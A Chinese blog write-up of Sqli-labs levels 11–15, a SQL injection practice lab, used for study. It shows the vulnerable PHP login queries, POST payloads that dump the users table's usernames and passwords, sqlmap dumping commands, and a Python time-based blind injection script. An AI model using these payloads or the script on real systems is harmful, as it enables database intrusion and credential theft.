重闯Sqli-labs关卡第三天(11-15关)
前言
今天早上学了学网易云课堂的注入课程突然感觉网易云可i春秋联合出品的课程还不错,之后就刷了刷攻防世界的题,题有眉目但是还是忍不住看了WP 服了自己了!!!一直刷到了晚上也不知道几点我妈买了柚子回了吃了会 回来继续战斗 想起来自己自从回来就没怎么继续刷sql靶场的题了,又刷了五关题。总结下这五关内容现在已经两点了总结完就该睡了。
第十一关:(基于错误的POST型单引号字符型注入)
分析代码有报错可以使用多种注入方式
核心代码:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
手工注入payload:
1 uname=admin' order by 2#&passwd=admin&submit=Submit
2 uname=admin' union select 1,2#&passwd=admin&submit=Submit
3 uname=0' union select 1,2#&passwd=admin&submit=Submit
4 uname=0' union select user(),version() #&passwd=admin&submit=Submit
5 uname=0' union select 1,database()#&passwd=admin&submit=Submit
6 uname=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=admin&submit=Submit
7 uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name=users#&passwd=admin&submit=Submit
8 uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin&submit=Submit
9 uname=0' UNION SELECT 1,GROUP_CONCAT(USERNAME,'-',PASSWORD) FROM USERS#&passwd=admin&submit=Submit
SQLmap 注入payload:
bp抓包保存为lou.txt
python sqlmap.py -r lou.txt
python sqlmap.py -r lou.txt --dbs 列出所有数据库
python sqlmap.py -r lou.txt --current-dbs 列出当前数据库
python sqlmap.py -r lou.txt -D 'security' --tables 列出security数据库中所有的表
python sqlmap.py -r lou.txt -D 'security' -T "users" --columns 列出users表中的所有列
python sqlmap.py -r lou.txt -D 'security' -T "users" -C "username","password" --dump 列出所有列中的数据
第十二关(基于错误的双引号POST型字符型变形的注入)
这一关仅在SQL语句处理上根12关不同其他都一一致
核心代码:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
手工注入payload:
1 uname=admin") and 1=1 --+&passwd=admin&submit=Submit
2 uname=admin") and 1=2 --+&passwd=admin&submit=Submit
3 uname=admin") order by 2 --+&passwd=admin&submit=Submit
4 uname=0") union select 1,2 --+&passwd=admin&submit=Submit
5 uname=0") union select version(),database() --+&passwd=admin&submit=Submit
6 uname=0") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit
7 uname=0") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&passwd=admin&submit=Submit
8 uname=0") union select group_concat(username),group_concat(password) from users --+&passwd=admin&submit=Submit
第十三关(POST单引号变形双注入)
这一关也是根上面差不多紧紧是SQL语句部分不一致
核心代码:
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
可以用上述方法进行注入
也可以用下面的脚本
python脚本:
1 import requests
2 import time
3 url="http://192.168.233.1/lou/sql/Less-13/"
4 allString='''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnm'''
5
6 database=""
7
8 for i in range(1,10):
9
10 for j in allString:
11 payload="admin') and if(substr(database(),{},1)='{}',sleep(3),1)#".format(int(i),str(j))
12
13 data={
14 "uname":payload,
15 "passwd":"admin&submit=Submit"
16 }
17 print(data)
18 urls=requests.post(url,data=data)
19 #print(urls.text)
20
21 t=urls.elapsed.total_seconds()
22 #print(j)
23 if t>=3:
24 #print(j)
25 database+=j
26 print(data)
27
28 elif t<3 and j=='M':
29 break
30
31 print('DATABASE:',database)
第十四关
这一关也是紧sql语句处理部分不一致可以对比上面
核心代码:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
$result=mysql_query($sql);
注入参考上面皆可以
第十五关 (基于bool型/时间延迟单引号POST型盲注)
这一关与上面都不一样 这个页面没有报错信息 只有登录成功/失败页面 只能通过sleep()时间注入
核心代码:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
手工payload:
1 没任何错误信息只能盲注通过时间注入
2 uname=admin' and 1=1 --+&passwd=admin&submit=Submit
3 uname=admin' and 1=1 --+&passwd=admin&submit=Submit
4 uname=admin' and sleep(5) --+&passwd=admin&submit=Submit
工具注入 参考十三关脚本修改即可
重闯Sqli-labs关卡第三天(11-15关)的更多相关文章
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- XMU 1615 刘备闯三国之三顾茅庐(三) 【欧拉函数+快速幂+欧拉定理】
1615: 刘备闯三国之三顾茅庐(三) Time Limit: 1000 MS Memory Limit: 128 MBSubmit: 45 Solved: 8[Submit][Status][W ...
- 重闯Sqli-labs关卡第三天(6-10关)
第六关(双注入GET双引号字符型注) 核心代码: 1 $id = '"'.$id.'"'; 2 $sql="SELECT * FROM users WHERE id=$i ...
- 重闯Sqli-labs关卡第二天(5关)
第五关(双注入GET单引号字符型注入-报错时间注入) 盲注盲注,Blind SQL Injection基于布尔SQL盲注基于时间的SQL盲注基于报错的SQL盲注 核心代码:(不会返回数据库中的数据) ...
- 重闯Sqli-labs关卡第一天(1-4关)
前言 之前暑假闯了很多关但是最近刷BUGku的题 遇到SQL注入题就凉... 垃圾的我只能继续硬着头皮重新再来学习,再来闯. 第一关:字符型注入 字符型注入就是注入点的数据类型是字符型.字符型注入与数 ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
随机推荐
- Vue3 来了,Vue3 开源商城项目重构计划正式启动!
我打算用 Vue3 写一个商城项目,目前已经开始着手开发,测试完成后正式开源到 GitHub,让大家也可以用现成的 Vue3 大型商城项目源码来练练手. Vue 3.0 来了,我们该做些什么? Vue ...
- Windows快捷键与Dos命令学习
部分Windows常用快捷键 复制:Ctrl + C 粘贴:Ctrl + V 全选:Ctrl + A 剪切:Ctrl + X 撤销:Ctrl + Z 保存:Ctrl + S 关闭窗口:Alt + F4 ...
- 安装Linux注意事项
网络配置NAT Worstation 生成虚拟网卡,编辑虚拟网络中子网IP地址为10网段内部地址,避免冲突. Linux命令 查看主机IP地址 [root@C8 ~]# hostname -I 19 ...
- 面试题 02.02. [链表][双指针]返回倒数第 k 个节点
面试题 02.02. 返回倒数第 k 个节点 方法一:使用外部空间 // 执行用时: 1 ms , 在所有 Java 提交中击败了 16.75% 的用户 // 内存消耗: 36.8 MB , 在所有 ...
- gethub网址链接
https://github.com/fraser-in-school/suduku 之前这个网址是手动提交的,现在从新更新下,这是用Visio studio提交的,应该不会缺少并不必要的文件 htt ...
- h5 返回上一页面方法
//以下方法仅供参考1.返回上一页,不刷新history.html window.history.go(-1); javascript:window.history.go(-1) 2.返回上一页并刷 ...
- Mongodb命令 --- MongoDB基础用法(二)
Mongodb命令 数据库操作 创建数据库 MongoDB 创建数据库的语法格式如下: use DATABASE_NAME 如果数据库不存在,则创建数据库,否则切换到指定数据库. 删除数据库 Mong ...
- 4-20mA转RS485模拟量采集模块是怎么工作的?
4-20mA信号是工业上常用的模拟信号,用来表示温度,距离,速度,角度等参数. 如果需要用PLC或者工控机来采集,通常要转换成数字信号.这时可以采购远向电子生产的模拟量采集模块. 常用的模拟量采集模块 ...
- Linux 网络编程的5种IO模型:信号驱动IO模型
Linux 网络编程的5种IO模型:信号驱动IO模型 背景 上一讲 Linux 网络编程的5种IO模型:多路复用(select/poll/epoll) 我们讲解了多路复用等方面的知识,以及有关例程. ...
- 机器学习之K均值算法(K-means)聚类
K均值算法(K-means)聚类 [关键词]K个种子,均值 一.K-means算法原理 聚类的概念:一种无监督的学习,事先不知道类别,自动将相似的对象归到同一个簇中. K-Means算法是一种聚类分析 ...